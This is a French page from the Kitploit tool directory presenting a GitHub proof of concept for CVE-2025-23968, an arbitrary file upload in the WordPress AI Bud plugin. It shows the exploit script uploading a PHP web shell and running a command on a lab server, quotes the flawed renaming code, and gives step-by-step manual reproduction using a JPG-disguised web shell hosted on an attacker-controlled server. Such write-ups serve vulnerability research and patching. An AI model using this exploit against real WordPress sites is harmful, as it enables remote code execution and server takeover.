Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-23968 — Téléchargement arbitraire de fichiers dans AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4 | Kitploit
Outils/GitHubGitHub/d0n601/cve-2025-23968
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubd0n601/cve-2025-23968

CVE-2025-23968

Téléchargement arbitraire de fichiers dans AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o <= 1.8.4

Voir le dépôt
1il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o

Le plugin AI Bud expose un point de terminaison REST API /wp-json/ai-buddy/v1/wp/attachments qui permet de télécharger des fichiers dans la médiathèque WordPress. La logique de fichier du point de terminaison contient une fonctionnalité de renommage qui se déclenche après la validation du type de fichier, et permet à l'attaquant de renommer le fichier téléchargé avec n'importe quelle extension (y compris .php) permettant aux administrateurs ou niveaux supérieurs de télécharger des fichiers arbitraires et potentiellement d'exécuter du code sur le serveur.

TL;DR Exploits

Un POC cve-2025-23968.py est fourni pour démontrer un administrateur téléchargeant une web shell nommée shell.php.

root@kitploit:~
python cve-2025-23968.py https://lab 1 .hacker admin PASSWORD
Logging into: https://lab 1 .hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Executing test command: ip addr

<pre> 1 : lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00 : 00 : 00 : 00 : 00 : 00 brd 00 : 00 : 00 : 00 : 00 : 00
    inet 127. 0. 0. 1 / 8 scope host lo
        valid_lft forever preferred_lft forever
    inet 6 :: 1 / 128 scope host
        valid_lft forever preferred_lft forever
2 : eth 0 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 5 b: 34 : 2 f brd ff:ff:ff:ff:ff:ff
altname enp 0 s 3
    inet 10. 0. 2. 15 / 24 metric 100 brd 10. 0. 2. 255 scope global dynamic eth 0
        valid_lft 75700 sec preferred_lft 75700 sec
    inet 6 fd 17 : 625 c:f 037 : 2 :a 00 : 27 ff:fe 5 b: 342 f/ 64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86174 sec preferred_lft 14174 sec
    inet 6 fe 80 ::a 00 : 27 ff:fe 5 b: 342 f/ 64 scope link
        valid_lft forever preferred_lft forever
3 : eth 1 : <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08 : 00 : 27 : 39 :ea:eb brd ff:ff:ff:ff:ff:ff
altname enp 0 s 8
    inet 192. 168. 56. 56 / 24 brd 192. 168. 56. 255 scope global eth 1
        valid_lft forever preferred_lft forever
    inet 6 fe 80 ::a 00 : 27 ff:fe 39 :eaeb/ 64 scope link
        valid_lft forever preferred_lft forever
4 : docker 0 : <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02 : 42 : 6 f: 4 c: 3 e:ed brd ff:ff:ff:ff:ff:ff
    inet 172. 17. 0. 1 / 16 brd 172. 17. 255. 255 scope global docker 0
        valid_lft forever preferred_lft forever
</pre>

Détails

Le plugin enregistre ses routes REST API dans /wp-content/plugins/aibuddy-openai-chatgpt/src/Rest.php

Les lignes 250-284 enregistrent la route REST pour le point de terminaison /wp/attachments. La fonction de rappel est définie comme create_attachment :

root@kitploit:~
register_rest_route(
    $namespace,
    '/wp/attachments',
    array(
        'methods' => 'POST',
        'permission_callback' => array( AuthGate::class, 'authorized'
    ),
        'callback' => array( $this, 'create_attachment' ),
    'args' => array(
    'title' => array(
    'required' => true,
    'type' => 'string',
    ),
    'caption' => array(
    'required' => true,
    'type' => 'string',
    ),
    'alt' => array(
    'required' => true,
    'type' => 'string',
    ),
    'description' => array(
    'required' => true,
    'type' => 'string',
    ),
    'url' => array(
    'required' => true,
    'type' => 'string',
    ),
    'filename' => array(
    'required' => false,
    'type' => 'string',
    ),
),

La fonction create_attachment est définie à la ligne 709, et la logique de renommage commence à la ligne 744. Comme on le voit dans l'extrait ci-dessous, si le paramètre $filename est spécifié, il peut être utilisé pour renommer une pièce jointe existante (non assaini) :

root@kitploit:~
// strip possible path from filename
$filename = basename( sanitize_text_field( $request->get_param( 'filename'
) ) );
if (! empty( $filename ) ) {
    $file = get_attached_file( $attachment_id, true );
    $dir = dirname( $file );
    $new_file = $dir. '/'. $filename;
    if ( file_exists( $new_file ) ) {
        $new_file = $dir. '/'. uniqid(). '-'. $filename;
    }
    $this->move_file( $file, $new_file );
    update_attached_file( $attachment_id, $new_file );
}

Reproduction manuelle

L'attaque de renommage en .php

  1. L'attaquant prépare un fichier appelé shell.jpg avec les qualités suivantes (voir exemple).
    1. Le fichier contient des magic bits pour jpg FF D8 FF E0.
    2. Le fichier a l'extension .jpg.
    3. Le fichier contient du code php pour une web shell.
  2. L'attaquant héberge shell.jpg sur un serveur qu'il contrôle (comme Github).
  3. L'attaquant envoie une requête POST à /wp-json/ai-buddy/v1/wp/attachments avec :
    1. url : l'URL vers shell.jpg
    2. filename : shell.php
  4. L'attaquant accède à /wp-content/uploads/YEAR/MONTH/shell.php et exécute du code PHP arbitraire.
Télécharger l’outil